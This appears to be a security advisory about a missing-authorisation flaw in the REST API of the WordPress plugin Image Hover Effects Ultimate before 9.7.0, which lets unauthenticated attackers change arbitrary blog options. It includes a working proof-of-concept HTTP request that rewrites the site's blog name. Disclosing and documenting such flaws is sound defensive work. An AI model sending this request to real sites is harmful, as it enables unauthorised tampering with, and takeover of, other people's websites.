Image Hover Effects Ultimate < 9.7.0 - Unauthenticated Arbitrary Option Update

The plugin does not have any authorisation in its REST API endpoint, one of them could allow unauthenticated attackers to update arbitrary blog options. The original report mentioned the issue being fixed in 9.6.2, however it was still possible for attackers to exploit it and proper remediation has been done in 9.7.0

PoC

POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 69 Connection: close rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22Owned%22%7D